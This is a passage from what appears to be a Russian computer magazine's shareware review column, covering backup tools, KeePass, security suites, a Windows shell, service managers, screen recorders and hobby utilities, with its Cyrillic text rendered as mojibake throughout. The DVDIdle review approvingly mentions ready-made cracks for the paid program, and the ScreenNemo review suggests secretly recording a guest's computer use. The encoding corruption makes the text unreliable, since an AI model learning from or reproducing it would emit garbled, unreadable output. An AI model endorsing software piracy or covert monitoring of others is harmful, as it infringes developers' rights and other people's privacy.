â äðóãîé. Ïîñëå ýòîãî îäîáðåííûå íà÷àëüñòâîì ïðîãè íà÷íóò ïî ãîðÿ÷åé
êëàâèøå ("Ctrl" + "`") âûëåòàòü íà ïåðåäíèé ïëàí, à «çàïðåùåííûå» � ëè-
íÿòü ñ ýêðàíà (íå çàáûâàÿ ïðè ýòîì óáèðàòü ñâîþ êíîïêó ñ Ïàíåëè çà-
äà÷!). È ýòî òîëüêî áàçîâûå ôóíêöèè! À âåäü èìåþòñÿ åùå è äîïîëíè-
òåëüíûå, ñðåäè êîòîðûõ ñàìûìè, ïîæàëóé, èíòåðåñíûìè ÿâëÿþòñÿ âîç-
ìîæíîñòü îïåðàòèâíîãî çàïóñêà «îáÿçàòåëüíîé» ïðîãè ñ àâòîìàòè÷åñ-
êèì ðàçìåùåíèåì åå îêíà íà ïåðåäíåì ïëàíå è óìåíèå Anti Boss Key âû-
ðóáàòü/ïðèãëóøàòü çâóê, ïîäàâëÿòü äî÷åðíèå îêíà óæå "ñïðÿòàííûõ" ïðè-
ëîæåíèé, áëîêèðîâàòü äîñòóï ê ìàøèíå è çàïóñêàòü ñêèíñåéâåð.

AutoSave v 2.0
Windows 9x/Me/NT/2k/XP
Size: 6694 Kb
Shareware
www.v-com.com

Ñåðüåçíûé áýêàï-ìåíåäæåð. Âñòðà-
èâàåòñÿ â ñèñòåìó, îòñëåæèâàåò
îïåðàöèè ñîçäàíèÿ/ñîõðàíåíèÿ
ôàéëîâ, è â ôîíîâîì ðåæèìå êîïè-
ðóåò â íàäåæíîå ìåñòî âñå äîêóìåí-
òû, ñ êîòîðûìè ðàáîòàåò ïîëüçîâà-
òåëü. Ýòî èäåàëüíûé ïîìîùíèê äëÿ
íåòåðïåëèâûõ è çàáûâ÷èâûõ ëþäåé,
ïîñêîëüêó ðåçåðâíàÿ êîïèÿ ëþáîãî
äîêóìåíòà ñîçäàåòñÿ àâòîìàòè÷åñ-
êè, à ïðîöåññ ðåçåðâèðîâàíèÿ èíôîðìàöèè ïðîòåêàåò íåçàìåòíî, íå âû-
íóæäàÿ ÷åëîâåêà äåëàòü ïåðåðûâ â ðàáîòå. Íåòðóäíî äîãàäàòüñÿ, ÷òî
ïðîãðàììà AutoSave îòíîñèòñÿ ê ðàçðÿäó «íàñòðîèë è çàáûë». Õîòÿ íà-
÷èíàþùåãî ïîëüçîâàòåëÿ, ïîæàëóé, ìîæåò èñïóãàòü îòñóòñòâèå ðóññêîãî
èíòåðôåéñà è îáèëèå âñåâîçìîæíûõ îïöèé. Ê ñ÷àñòüþ, êîâûðÿòüñÿ âî
âñåõ ýòèõ îïöèÿõ òåáå ñîâåðøåííî íå îáÿçàòåëüíî � äëÿ íà÷àëà òû ìî-
æåøü âîñïîëüçîâàòüñÿ ïîìîùüþ ìàñòåðà è òèïîâûìè íàñòðîéêàìè.
Êñòàòè, â ìàñòåðå ðåêîìåíäóþ îáðàòèòü îñîáîå âíèìàíèå íà ïóíêò
Backup files used or created by applications you have installed, è òû ìîæåøü
ñîõðàíÿòü ñâîè DOC'è êóäà ïîïàëî � ïðîãðàììà AutoSave âñå ðàâíî ïî-
ëîæèò êîïèþ ëþáîãî òàêîãî äîêóìåíòà â ñâîå õðàíèëèùå.
Âïðî÷åì, ðàíî èëè ïîçäíî òåáå ñàìîìó çàõî÷åòñÿ ðàçîáðàòüñÿ â íàñò-
ðîéêàõ ïðîãðàììû, ïîñêîëüêó, êàê ÿ óæå ñêàçàë, AutoSave � ñîôò
ñåðüåçíûé, ïðåäëàãàþùèé îïûòíîìó ïîëüçîâàòåëþ ìàññó èíòåðåñíûõ
âîçìîæíîñòåé òèïà ñèñòåìû àâòîìàòè÷åñêîé ïåðåäà÷è äàííûõ èëè ïðî-
æèãà èíôîðìàöèè íà CD/DVD (ñ àâòîìàòè÷åñêèì ðàçáèåíèåì äàííûõ íà
áëîêè òðåáóåìîãî îáúåìà).

KeePass 1.03
Windows 9x/Me/NT/2k/XP
Size: 550 Kb
Freeware
http://keepass.sourceforge.net

Íîâûé õðàíèòåëü ïàðîëåé, êîòîðûé ÿ ïîñòàâèë íà ñâîé ïîõîäíûé 256-ìå-
ãàáàéòíûé USB-áðåëîê. Ñòàðåíüêèé ÑÊÀÐÀÁÅÉ (www.alnichas.info), êîòî-
ðûì ÿ ïîëüçîâàëñÿ äî ýòîãî, óâû, ïðèøëîñü îòïðàâèòü íà ïåíñèþ, ïîñ-
êîëüêó ýôôåêòèâíî ðàáîòàòü ñ ìîåé ÷ðåçâû÷àéíî ðàçðîñøåéñÿ êîëëåê-
öèåé ëîãèíîâ è ïàðîëåé îí, ê ñîæàëåíèþ, óæå íå ìîã. Íî, ÷åñòíî ãîâîðÿ,
ýòî ìåíÿ íå îñîáî ðàññòðîèëî, òàê êàê áûñòðî âûÿñíèëîñü, ÷òî óòèëèòà
KeePass îáëàäàåò âñåìè äîñòîèíñòâàìè ÑÊÀÐÀÁÅß, íî ïðè ýòîì àáñî-
ëþòíî ëèøåíà åãî íåäîñòàòêîâ. 
KeePass � ýòî ìàëåíüêàÿ áåñïëàòíàÿ óòèëèòà ñ îòêðûòûìè èñõîäíèêà-
ìè. Ðàáîòàåò áåç óñòàíîâêè, õðàíèò äàííûå â çàøèôðîâàííîì âèäå,
ïîçâîëÿåò ýôôåêòèâíî ãðóïïèðîâàòü è ñîðòèðîâàòü îòäåëüíûå çàïèñè
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(òî, ÷åãî ìíå òàê íå õâàòàëî â ÑÊÀ-
ÐÀÁÅÅ), ïîääåðæèâàåò àâòîçàïîë-
íåíèå âåá-ôîðì è äîïóñêàåò ââîä
ëîãèíà/ïàðîëÿ ïðîñòûì ïåðåòàñêè-
âàíèåì èç îêíà ïðîãðàìì â íóæíîå
ïîëå ââîäà. Â KeePass òàêæå
âñòðîåí ïðîäâèíóòûé ãåíåðàòîð
ïàðîëåé è ìîäóëü ýêñïîðòà/èìïîð-
òà èíôîðìàöèè. Äîñòóï ê áàçå
ïðîãðàììû ìîæåò îòêðûâàòü êàê
îáû÷íûé «ìàñòåð-ïàðîëü», òàê è
âñòàâëåííûé â äèñêîâîä êëþ÷åâîé

äèñê. Ñ äîìàøíåé ñòðàíèöû KeePass ìîæíî ñêà÷àòü ïàðî÷êó ïîëåçíûõ
ïëàãèíîâ è ôàéë äëÿ ðóñèôèêàöèè èíòåðôåéñà. Äà, çàáûë óïîìÿíóòü
åùå îäíó èíòåðåñíóþ ôèøå÷êó ýòîé çàìå÷àòåëüíîé ïðîãè � ê ëþáîé
çàïèñè â áàçå ìîæíî ïðèêðåïëÿòü ôàéëû. Äðóãèìè ñëîâàìè, KeePass
ïîçâîëÿåò õðàíèòü íå òîëüêî ïàðîëè, íî è êðèïòîãðàôè÷åñêèå êëþ÷è,
÷òî, íàäî îòìåòèòü, äîâîëüíî óäîáíî.

SecuritySupervisor v 1.2
Windows 2k/XP
Size: 269 Kb
Shareware
www.securitysupervisor.com

Ëþáîïûòíûé íàáîð÷èê «4 â 1», êî-
òîðûé ðåêîìåíäóåòñÿ èñïîëüçîâàòü
ñîâìåñòíî ñ àíòèâèðóñîì/áðàíäìà-
óýðîì, ÷òîáû áîëåå êà÷åñòâåííî
ïðèêðûòü «äûðêè», ñ êîòîðûìè
óêàçàííûå ïðîãðàììû íå âñåãäà
ñïðàâëÿþòñÿ äîñòàòî÷íî õîðîøî.
Â ñîñòàâ ýòîãî íàáîðà âõîäèò ñîô-
òèíà äëÿ áëîêèðîâàíèÿ áàííåðîâ,
ìîíèòîð HTTP-òðàôèêà è óòèëèòà,
ñîîáùàþùàÿ îáî âñåõ ïîïûòêàõ
òâîåãî áðàóçåðà, ìåéëåðà èëè àñü-
êè âûïîëíèòü çàïóñê ñòîðîííåãî
ïðèëîæåíèÿ. ×åòâåðòàÿ ïðîãðàì-
ìà, âõîäÿùàÿ â ýòîò íàáîð, íàçû-
âàåòñÿ EmailSupervisor. Íà ìîé âçãëÿä, îíà ñàìàÿ èíòåðåñíàÿ èç âñåõ,
ïîñêîëüêó ñ åå ïîìîùüþ òû ìîæåøü êîíòðîëèðîâàòü íåñàíêöèîíèðî-
âàííóþ îòïðàâêó ïèñåì ñ òâîåé ìàøèíû. Ïðè÷åì EmailSupervisor íå
ïûòàåòñÿ òóïî áëîêèðîâàòü âñå ïîïûòêè ñîåäèíåíèÿ, à ïîñòóïàåò õèò-
ðåå: ïðåæäå ÷åì îáîðâàòü ñâÿçü, óòèëèòà ñòàðàåòñÿ âûÿñíèòü, êîìó,
îò êîãî «óõîäèò» ïèñüìî, ÷òî â íåì íàïèñàíî, è êàêîé ôàéë ê ýòîìó
ïèñüìó ïðèêðåïëåí. Ñîãëàñèñü, âàæíîñòü òàêèõ ïîäðîáíîñòåé ïåðåî-
öåíèòü òðóäíî � ñëèøêîì ìíîãî íûí÷å ðàçâåëîñü ïðîãðàìì-øïèî-
íîâ, óìåþùèõ îòïðàâëÿòü ñâîè îò÷åòû íà ìûëî Õîçÿèíó. Òàêæå
EmailSupervisor ìîæåò ïðèìåíÿòüñÿ è äëÿ ïðåäîòâðàùåíèÿ óòå÷êè ñåê-
ðåòíûõ ñâåäåíèé ïî ëåãàëüíûì êàíàëàì. Ê ïðèìåðó, âî âðåìÿ òåñòè-
ðîâàíèÿ ÿ ñîçäàë ïðàâèëî, êîòîðîå çàïðåùàëî ëþáîìó ïðèëîæåíèþ
îòïðàâëÿòü ñîîáùåíèå ñ ïàðîëåì îò ìîåãî UIN'à. Êîãäà æå ÿ ïîïûòàë-
ñÿ èç Bat'à îòïðàâèòü ïèñüìî ñ ñîîòâåòñòâóþùèìè ñâåäåíèÿìè,
EmailSupervisor òóò æå çàáëîêèðîâàë ïåðåäà÷ó äàííûõ è âûïëþíóë íà
ýêðàí ñîîòâåòñòâóþùåå ïðåäóïðåæäåíèå.

bbLean 1.16
Windows 9x/Me/NT/2k/XP
Freeware
Size: 139 Kb
http://bb4win.sourceforge.net/bblean

BBLean � ýòî îòäåëüíàÿ âåòêà ïðîåêòà
Blackbox for Windows. Åñëè òåáå ýòî íè î ÷åì íå
ãîâîðèò, ñêàæó ïðîùå: BBLean � ýòî àëüòåðíà-
òèâíàÿ ãðàôè÷åñêàÿ îáîëî÷êà äëÿ Windows.
Î÷åíü óäîáíàÿ, î÷åíü ñòàáèëüíàÿ. Åå äèñòðèáó-
òèâ ïîëíîñòüþ íàñòðîåí, è â åãî ñîñòàâ âõîäèò
ìèíèìàëüíî íåîáõîäèìûé êîìïëåêò ïëàãèíîâ.
Ñðàçó ïîñëå çàïóñêà ýòîé îáîëî÷êè ïîëüçîâà-

òåëü íàéäåò íà ýêðàíå è ïàíåëü çàäà÷, è ñèñòåìíûé òðåé, è ìåíåäæåð ðà-
áî÷èõ ñòîëîâ. Èêîíîê íà ýêðàíå íå áóäåò, íî äî ñâîèõ ëþáèìûõ ïðîãðàìì
þçåð ëåãêî äîáåðåòñÿ èç êîíòåêñòíîãî ìåíþ, ïîÿâëÿþùåãîñÿ ïî ïðàâîìó
êëèêó ìûøè. Ñîçäàòåëè BBLean ïðèäåðæèâàþòñÿ ïðèíöèïîâ ìèíèìàëèç-
ìà, ÷òî, âïðî÷åì, íå ìåøàåò ýòîé îáîëî÷êå ïîääåðæèâàòü ñìåííûå òåìû
è ñòèëüíî âûãëÿäåòü. Íî â ïåðâóþ î÷åðåäü BBLean ïðèâëåêàåò ïðîäâèíó-

òûõ òîâàðèùåé íèçêèìè ñèñòåìíûìè òðåáîâàíèÿìè, õîðîøåé ñêîðîñòüþ
ðàáîòû è íàëè÷èåì áîëüøîãî êîëè÷åñòâà ïëàãèíîâ, ðàñøèðÿþùèõ åå
ôóíêöèîíàëüíîñòü. Ïîäðîáíàÿ äîêóìåíòàöèÿ èäåò â êîìïëåêòå ñ ïðîã-
ðàììîé. Óñòàíîâêè BBLean íå òðåáóåò, ïðîñòî ðàñïàêóé êóäà-íèáóäü åå
ôàéëû è çàïóñòè blackbox.exe. À äàëüøå � êòî çíàåò?!! Ìîæåò áûòü, íà
ñòàíäàðòíûé âèíäîçíûé shell òåáå áîëüøå è ñìîòðåòü-òî íå çàõî÷åòñÿ.

pserv v 2.6
Windows NT/2k/XP
Freeware
Size: 230 Kb
http://p-nand-q.com/e/pserv.html

Ëþáîé ïðîäâèíóòûé þçåð, óñòàíî-
âèâ ñåáå NT-based îïåðàöèîííóþ
ñèñòåìó, ðàíî èëè ïîçäíî ðåøèò
íàâåñòè ïîðÿäîê â ðàáîòàþùèõ íà
åãî ìàøèíå ñèñòåìíûõ ñëóæáàõ.
Îíî è ïîíÿòíî! Îòêëþ÷èâ ñëóæáû,
êîòîðûå òåáå íå íóæíû, ìîæíî
ñðàçó óáèòü òðåõ çàéöåâ: ïîâûñèòü
áåçîïàñíîñòü, óñêîðèòü ðàáîòó
ñèñòåìû è îñâîáîäèòü íåìíîãî ïà-
ìÿòè (êñòàòè, õîðîøèé ðóññêîÿçû÷-
íûé õåëï ïî ñëóæáàì Windows XP
íàõîäèòñÿ íà ñàéòå www.oszone.net).
Îäíà áåäà � ñòàíäàðòíàÿ îñíàñò-
êà Ñëóæáû (Services) äîâîëüíî äà-
ëåêà îò ñîâåðøåíñòâà. Ïîýòîìó
âñÿ ïðîäâèíóòàÿ ìîëîäåæü ïðåä-

ïî÷èòàåò èñïîëüçîâàòü âìåñòî íåå àïïëåò pserv.cpl. Äåëî â òîì, ÷òî ïîñ-
ëåäíèé èìååò öåëûé ðÿä âàæíûõ ïðåèìóùåñòâ. Âî-ïåðâûõ, îñíîâíàÿ
èíôîðìàöèÿ âûâîäèòñÿ â îäíîì îêíå è òåáå íå íàäî, ê ïðèìåðó, äîë-
ãî êëèêàòü ïî íàçâàíèÿì ñëóæá, ÷òîáû ïîñìîòðåòü, êàêàÿ èç íèõ ñâÿ-
çàíà, ñêàæåì, ñ ôàéëîì lsass.exe. Âî-âòîðûõ, äëÿ âûäåëåíèÿ ðàáî-
òàþùèõ ñëóæá ñîôòèíà ïîëüçóåòñÿ øðèôòîì ñèíåãî öâåòà, îòêëþ-
÷åííûå ïîêàçûâàåò ñåðûì, à îñòàëüíûå âûâîäèò ÷åðíûì. Íó è, â-
òðåòüèõ, êðîìå ñëóæá, äàííûé àïïëåò óìååò àíàëîãè÷íûì  îáðàçîì
îòîáðàæàòü åùå è ñïèñêè äðàéâåðîâ, ïðîöåññîâ è óñòàíîâëåííûõ
ïðîã! Ýòî ìåãàóäîáíî. Îñîáåííî åñëè ó÷åñòü, ÷òî âêëþ÷èòü/îòêëþ-
÷èòü/óäàëèòü ëþáîé äðàéâåð èëè ñëóæáó ñ ïîìîùüþ pserv.cpl ìîæíî
áóêâàëüíî çà ïàðó êëèêîâ.

DVDIdle Pro 5.9.3.3
Windows 95/98/2K/XP
Shareware 
Size: 1153 Êá
www.dvdidle.com

Ó îäíîé âäîâû ìóæ êóðèë è ñêóðèëñÿ. Ó äðóãîé �
ïèë è ñïèëñÿ. À ó òðåòüåé ïðîñòî ñêîí÷àëñÿ :).
×òîáû òâîé DVD-ïðèâîä íå ïîñòèãëà ïå÷àëü-
íàÿ ó÷àñòü, ñëåäóåò åãî áåðå÷ü íå ìåíåå, ÷åì
ïðåäñòàòåëüíóþ æåëåçó. Êàê ó âñÿêîãî íàñòîÿ-
ùåãî õàêåðþãè, òâîé êîìï ðàáîòàåò 24/7. Òîã-
äà ïîëó÷àåòñÿ, ÷òî ïîêà òû îòäûõàåøü è íàáè-

ðàåøüñÿ ñèë, òâîÿ êðóòèëêà âñå ðàâíî ïðîäîëæàåò ðàáîòàòü, èñòîùàÿ
ñâîé ðåñóðñ. Òåáå íå õî÷åòñÿ ñïàñòè åå? Smart-Read-Ahead òåõíîëîãèÿ
ïîìîãàåò îòðóáàòü òâîé DVD, êîãäà â åãî ðàáîòå íåò ïîòðåáíîñòè. Âñÿ
ïðîìåæóòî÷íàÿ èíôà (òèòðû, íàõîæäåíèå îïðåäåëåííîé ãëàâû íà äèñ-
êå) áóäåò ñîõðàíåíà íà æåñòêîì äèñêå, ÷òîáû âûöåïèòü åå îòòóäà ïðè
âîçâðàòå ê ïðîñìîòðó òâîåãî DVD. Óòèëèòà îïòèìàëüíî ñîñòûêîâûâàåò-
ñÿ ñ äðóãèì ïîëåçíûì ïðîäóêòîì, êîòîðûé áûë ïîäãîòîâëåí òåìè æå êî-
äåðàìè � DVD Region+CSS Free. Ïðèÿòíî, ÷òî òóëçà ñâîåâðåìåííî îá-
íîâëÿåòñÿ. Íåïðèÿòíî, ÷òî çà ñòîëü ïðîñòîå òâîðåíèå ïðîãðàììåðñêîé
ìûñëè òðåáóþò àæ 50 ó.å. Ñíîâà ïðèÿòíî, ÷òî ãîñïîäà êðýêåðû íå çàáû-
ëè î áåäñòâóþùèõ ðîññèÿíàõ, ïîäãîòîâèëè ëåêàðñòâà. 

Credit Card and ID Guarder 2.03
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 3747 Êá
www.greatwallsoft.com

Îäíà èç ïðè÷èí, ïî÷åìó èíòåðíåò-áàíêèíã îñòàåòñÿ äèêîâèíêîé � ñåòå-
âîå ìîøåííè÷åñòâî. Ìíîãèå þçâåðè áîÿòñÿ, ÷òî çëîäåè ñîëüþò äåíåæêó
ñî ñ÷åòîâ, îñòàâÿò èõ ñ íîñîì. Òåïåðü æå ïðåäëàãàåòñÿ î÷åðåäíîå îáåç-
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áîëèâàþùåå äëÿ ïåðåæèâàþùèõ çà ñâîþ
secure'íîñòü. Òåìà ïðåñåêàåò ïîÿâëåíèå key- è
screen-ëîããåðîâ, êîòîðûìè îáû÷íî òûðÿòñÿ
ýëåêòðîííûå ñ÷åòà. Âñòðîåí äîâîëüíî ãðàìîò-
íûé ìåõàíèçì ïî áîðüáå ñ phisher'àìè, êîòî-
ðûé îòñëåæèâàåò òâîå òî÷íîå ìåñòîíàõîæäå-
íèå, ïðåäîòâðàùàåò ïåðåáðîñû íà ñàéòû-äâîé-

íèêè, êîòîðûå âûáèâàþò òâîè êðåäû è ïàëêè. Òåïåðü òû âñåãäà áóäåøü
óâåðåí, ÷òî íàõîäèøüñÿ íà âåðíîì ñàéòå. Ïðîèçâîäèòñÿ êàïèòàëüíîå
òåñòèðîâàíèå ñèñòåìû, ïðîâåðÿþòñÿ âñå àâòîçàïóñêíûå ïðîãè, ÷åêàþò-
ñÿ âèíäîâûå ñîêåòû è ïîäàâëÿþòñÿ ïðîâîêàöèè è hijack'è BHO (browser
help object). 

SVC2kXP 2.2
Windows 2K/XP
Freeware
Size: 49 Êá
www.ntsvcfg.de

Âîò ïîñòàâèë åùå
îäèí XP tweaker äëÿ
âèíäû. À ïîëüçû? Åå,
îêàçûâàåòñÿ, ñàìûé
ìèíèìóì, êîãäà çíà-
åøü, ÷òî 2001-ÿ ïðèá-
ëóäà ñìîæåò ëèøü ïî-
ìåíÿòü ïàðó çàñòàâîê
äà âûáðîñèòü ñ äåñÿ-

òîê íåíóæíûõ ôàéëîâ. Çäåñü æå ïðåäëàãàåòñÿ áîëåå ïðîäóìàííîå ðå-
øåíèå. Íå ñåêðåò, ÷òî 90% è áîëåå þçåðîâ íå èñïîëüçóþò ñâîé êîìï êàê
ñåðâåð. Ñåðâèñû îêàçûâàþòñÿ íåíóæíûìè âîâñå è, áîëåå òîãî, íåîïðàâ-
äàííî ïîæèðàþùèìè òâîè ðåñóðñû. Ïðåäëàãàåì òâîåìó âíèìàíèþ óíè-
âåðñàëüíûé SVC2kXP � êàñòðàòîð âñåé ýòîé ñåðâèñíîé ñâîëî÷è. Îòíû-
íå òâîé êîìï áóäåò òîëüêî òâîèì êîìïîì, íå ñòàíåò âûñîêîìåðíî ñ÷è-
òàòü ñåáÿ ñåðâåðîì. Åñëè æå êàêîé èç ñåðâèñîâ îñòàíåòñÿ íóæíûì, áó-
äåò îïåðàòèâíî ïðîâåäåíà áåçîïàñíàÿ íàñòðîéêà.

PhotoToFilm 2.0 Build 30 Beta
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 554 Êá
www.photofilm.com

Åñòü ëèøü îäíî èçîáðå-
òåíèå, êîòîðîå ìîæåò
ïîáèòü ñâîåé àáñóðä-
íîñòüþ íèçêîêà÷åñò-
âåííûå MMS-ôîòêè �
âèäåî, ñíÿòîå ìîáèëü-
íèêîì. Äåëàéòå êðàñè-
âåå, ñíèìàéòå ñåðèè
ôîòîê êà÷åñòâåííûì
àïïàðàòîì, à ïîòîì ñî-
åäèíÿéòå èõ â êîðîò-
êèé, íî ïîëíîöåííûé

ôèëüì. Òóò ïîìîæåò ïðîñòàÿ ñîôòèíêà � PhotoToFilm. Òû ïðîñòî
ñêàðìëèâàåøü åé ãðóäó ôîòîê, à íà âûõîäå ïîëó÷àåøü çàáàâíûé ìóâèê.
Çäåñü æå ìîæíî ïåðåãíàòü åãî â ëþáîé ôîðìàò, íà êàêîé ñïîñîáíû êî-
äåêè òâîåãî êîìïà. Ðàáîòàÿ ñ òó÷åé âèäåîôîðìàòîâ, ïðîãà íå ÷óðàåòñÿ
è áåñêîíå÷íîãî ðÿäà ãðàôè÷åñêèõ ôîðìàòîâ � ñêóøàåò âñå îò JPG äî
TIFF. Ñîôò íàïîìíèë ìíå î äåòñêèõ ãîäàõ, êîãäà ÿ ñàì ðèñîâàë ìóëüòè-
êè íà áóìàæíîì áëîêíîòå (ìóëüò îæèâàë ïðè áûñòðîì ïåðåëèñòûâàíèè
äåñÿòêîâ ñòðàíè÷åê áëîêíîòà). 

ScreenNemo Player 1.0
Windows 2K/XP
Freeware 
Size: 2825 Êá
www.xdsnet.de

Êàêàÿ ìîæåò áûòü ïîëüçà îò çàïóñêà ïîñòîðîííåãî íà òâîé êîìïüþòåð?
Ñîöèàëüíî îïàñíûé èíäèâèä áóäåò èìåòü îäèí îòâåò � ñëåäèòü çà ãîñ-
òåì. ScreenNemo áóäåò çàïèñûâàòü íà âèäåî àáñîëþòíî âñå, ÷òî ïðîèñ-
õîäèëî çà âðåìÿ òâîåãî îòñóòñòâèÿ. Ïðîãà óìååò çàïèñûâàòü ïðîèñõîäÿ-
ùåå êàê â öåëîì íà ýêðàíå, òàê è â îòäåëüíî âçÿòûõ îêíàõ. Êðîìå æèãàíñ-
êîãî ïðèìåíåíèÿ, åñòü è áîëåå ìèðíûå � çàïèñûâàòü íà âèäåî ñâîè

ïðîáëåìû â íàñòðîé-
êå, ÷òîáû ïîòîì ïîêà-
çàòü «ñòàðøèì òîâà-
ðèùàì». Ïîìîæåò è
ñàìèì îòöàì çàïèñàòü
ðåøåíèå ïðîáëåìû
äëÿ äàëüíåéøåé ïåðå-
äà÷è ëàìåðàì. Ïðîãà
äàåò òó íàãëÿäíîñòü,
÷òî íå ñïîñîáåí âû-
äàòü íè îäèí êëàâèà-
òóðíûé øïèîí. Çàìåò-
íî îïåðåæàåò â óäîá-
ñòâå è screenshot-ìî-

íèòîðû. Åäèíñòâåííàÿ ïðîáëåìà � ðàçìåð âèäåîôàéëà � ïðè ñëåæêå
çà óäàëåííîé ñèñòåìîé ìîãóò âîçíèêíóòü òðàáëû ïðè ñêà÷êå ìàòåðèàëà. 

GoodShot 1.06
Windows 95/98/2K/XP 
Shareware 
Size: 403 Êá
www.kymus.com/GoodShot.html 

Çàíèìàòüñÿ ñåêñîì ïî
âåá-êàìåðå � â÷å-
ðàøíèé âåê. Ñåãîäíÿ
óìàìè ïðàâèò ëèøü
ñïîðò. «Ñåêñà ó íàñ
íåò!». Åñëè óæ ïîêóïàòü
ýòîò ñàìûé âèäåîãëà-
çîê, òàê òîëüêî ðàäè
èãðû â áàñêåòáîë. Ïðî-
ãà àíàëèçèðóåò âèäåî-
ïîòîê è ïîíèìàåò, íàñ-
êîëüêî ñèëåí òû â áàñ-
êåòå, ñêîëüêî î÷êîâ òå-
áå ïîëàãàåòñÿ çà÷èñ-
ëèòü. Íåñìîòðÿ íà âñþ
áðåäîâîñòü èäåè, ïðîãà
äàæå óìååò ó÷èòûâàòü

ðàçìåð ìÿ÷à, êîòîðûé áóäåò ñîîòíîñèòüñÿ ñ ðåãóëèðóåìûì äèàìåòðîì è
âûñîòîé êîëüöà. Ìîæíî èãðàòü êàê îäíîìó, òàê è âäâîåì: åñëè ðàíüøå
ìû ïðèãëàøàëè äåâóøåê ãëÿíóòü, êàê âûãëÿäèò ëèíóêñ, òî òåïåðü âñåõ
äåâàõ áóäåì òàñêàòü òîëüêî íà äîìàøíèå ìàò÷è ïî áàñêåòó! Â ïîñëåä-
íåé âåðñèè ïîÿâèëàñü ñîâñåì ÷óìîâàÿ íàñòðîéêà � ðåãóëÿöèÿ óðîâíÿ
ãðàâèòàöèè. Ïðèâûêøèå ê èãðå â êîñìîñå íå îáëîìàþòñÿ, íî ïîëó÷àò
îùóòèìóþ ôîðó. 

Bluetooth Remote Control 1.0 
Windows 95/98/2K/XP 
Shareware 
Size: 403 Êá
www.bluetoothshareware.com

Äëÿ ïðîâåäåíèÿ ïðåçåíòàöèè ÿ
ïðèãëàñèë îäíó äëèííîíîãóþ ïîä-
ðóãó íàæèìàòü êíîïêó «ïðîáåë»,
÷òîáû ïåðåëèñòûâàòü ñëàéäû â
Power Point. Ýòî óäîâîëüñòâèå ñòî-
èëî ìíå íåäåøåâîãî îáåäà è äâóõ
÷àñîâ ïóñòûõ ðàçãîâîðîâ ñ Barbie
girl. ×òîáû íå ñòàòü ïëàñòèêîâûì,
ïåðåëèñòûâàé ñàì ñëàéäû, íàæè-
ìàÿ êíîïó â ñâîåì Bluetooth-ìî-
áèëüíèêå. Òàê òû ñýêîíîìèøü
äåíüãè, ñèëû è áóäåøü âûãëÿäåòü
íåïðîñòèòåëüíî ìîäíî. Ïðîãà ïðåä-
ëàãàåò êó÷ó íàïðàâëåíèé óïðàâëå-
íèÿ òâîèì êîìïîì ÷åðåç BT: ñòà-
âèòü ìóçûêó è ôèëüìû, óïðàâëÿòü

ìûøêîé è êëàâîé êîìïà. Êàæäûé íàéäåò ñåáå ñâîå ïîñëå óñòàíîâêè
ïëóãèíà â ìîáèëó è íà íîóò: â ïåðâûé ïîéäåò ïðîñòîé àïïëåò (Java MIDP
2.0 íóæíà), íà êîìï � íåáîëüøàÿ øàðîâàðà. Ðàçâå òû åùå íå ñòàë ñó-
ïåðïðåçåíòàòîðîì? Òåïåðü òû ìîæåøü èñïîëüçîâàòü äëèííûå íîãè ïîä-
ðóãè ïî èõ ïðÿìîìó íàçíà÷åíèþ... Äëÿ ïðîãóëîê çà ñóøåíûìè êàëüìàðà-
ìè ê ïèâêó :).



GCFilms 5.3
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .gz): 517 ÊÁ
http://home.gna.org/gcfilms/
Ëèöåíçèÿ: GNU GPL

Ìíîãèì ëþäÿì íðàâèò-
ñÿ ñîñòàâëÿòü ñïèñîê ñ
êîëëåêöèåé ñâîèõ ôèëü-
ìîâ. Îáû÷íî äëÿ ýòîãî
èäåò â õîä íåêèé òàá-
ëè÷íûé ïðîöåññîð è
ðóêè, óñåðäíî íàáèðà-
þùèå, ëèáî êîïèðóþ-
ùèå âñÿêóþ èíôîðìà-
öèþ î ôèëüìå � êòî
ðåæèññåð, êàêèå àêòå-
ðû è òàê äàëåå. Íî âñå
ýòî ìîæíî àâòîìàòèçè-
ðîâàòü ñ ïîìîùüþ óòè-

ëèòû GCFilms. Îíà íàïèñàíà Perl ñ èñïîëüçîâàíèåì gtk2-perl, ÷òî, â ïðèíöè-
ïå, óæå ñòàíäàðòíî äëÿ ñîâðåìåííûõ äèñòðèáóòèâîâ *nix. Ïðîãðàììà äàæå
îñíàùåíà ãðàôè÷åñêèì èíñòàëëÿòîðîì, êîòîðûé ïðîâåðÿåò, óñòàíîâëåíû
ëè â ñèñòåìå íóæíûå êîìïîíåíòû, è â ñëó÷àå ïîëîæèòåëüíîãî ðåçóëüòàòà
ïðîâåðêè óñòàíàâëèâàåò GCFilms, à åñëè íåò � ãîâîðèò, ÷åãî íå õâàòàåò.
×òîáû äîáàâèòü ôèëüì â âèðòóàëüíóþ êîëëåêöèþ, ìîæíî çàïîëíÿòü åãî
ïîëÿ âðó÷íóþ, à ìîæíî ââåñòè ïðèáëèçèòåëüíîå íàçâàíèå ôèëüìà è íà-
æàòü êíîïêó Fetch Information � òîãäà íóæíûå äàííûå áóäóò âçÿòû èç Ñåòè �
ïðàâäà, â áîëüøèíñòâå ñëó÷àåâ íà àíãëèéñêîì ÿçûêå. Åùå áûâàåò íà
ôðàíöóçñêîì, íåìåöêîì è òàê äàëåå. Î ðóññêèõ áàçàõ äàííûõ ïî ôèëüìàì
(è ñîâìåñòèìûõ ñ GCFilms) ÿ íå îñâåäîìëåí. À âîò î çàãðàíè÷íûõ GCFilms
çíàþ ìíîãîå. Ñîâåòóþ èç íåãî âûáèðàòü IMDb � òàì áîëüøå âñåãî ôèëü-
ìîâ. GCFilms ñêà÷èâàåò îáëîæêó, êðàòêîå îïèñàíèå, èíôîðìàöèþ î ðåæèñ-
ñåðå, àêòåðàõ è òàê äàëåå. Òàêèì îáðàçîì àâòîìàòè÷åñêè çàïîëíÿþòñÿ ñî-
îòâåòñòâóþùèå ïîëÿ. Ñðåäè ïîëåé «êàðòî÷êè» äëÿ ôèëüìà åñòü òàêæå ïî-
ëå î òîì, êòî îäîëæèë ó òåáÿ ýòîò ôèëüì, íà êàêîì íîñèòåëå ôèëüì çàïè-
ñàí, êàêèå òàì åñòü ñóáòèòðû è ìíîãîå äðóãîå. À âîò ïîëÿ, êóäà ìîæíî âïè-
ñàòü áèòðåéò è ôîðìàò � ýòîãî, óâû, íåò. Íî â öåëîì âïå÷àòëåíèå îò
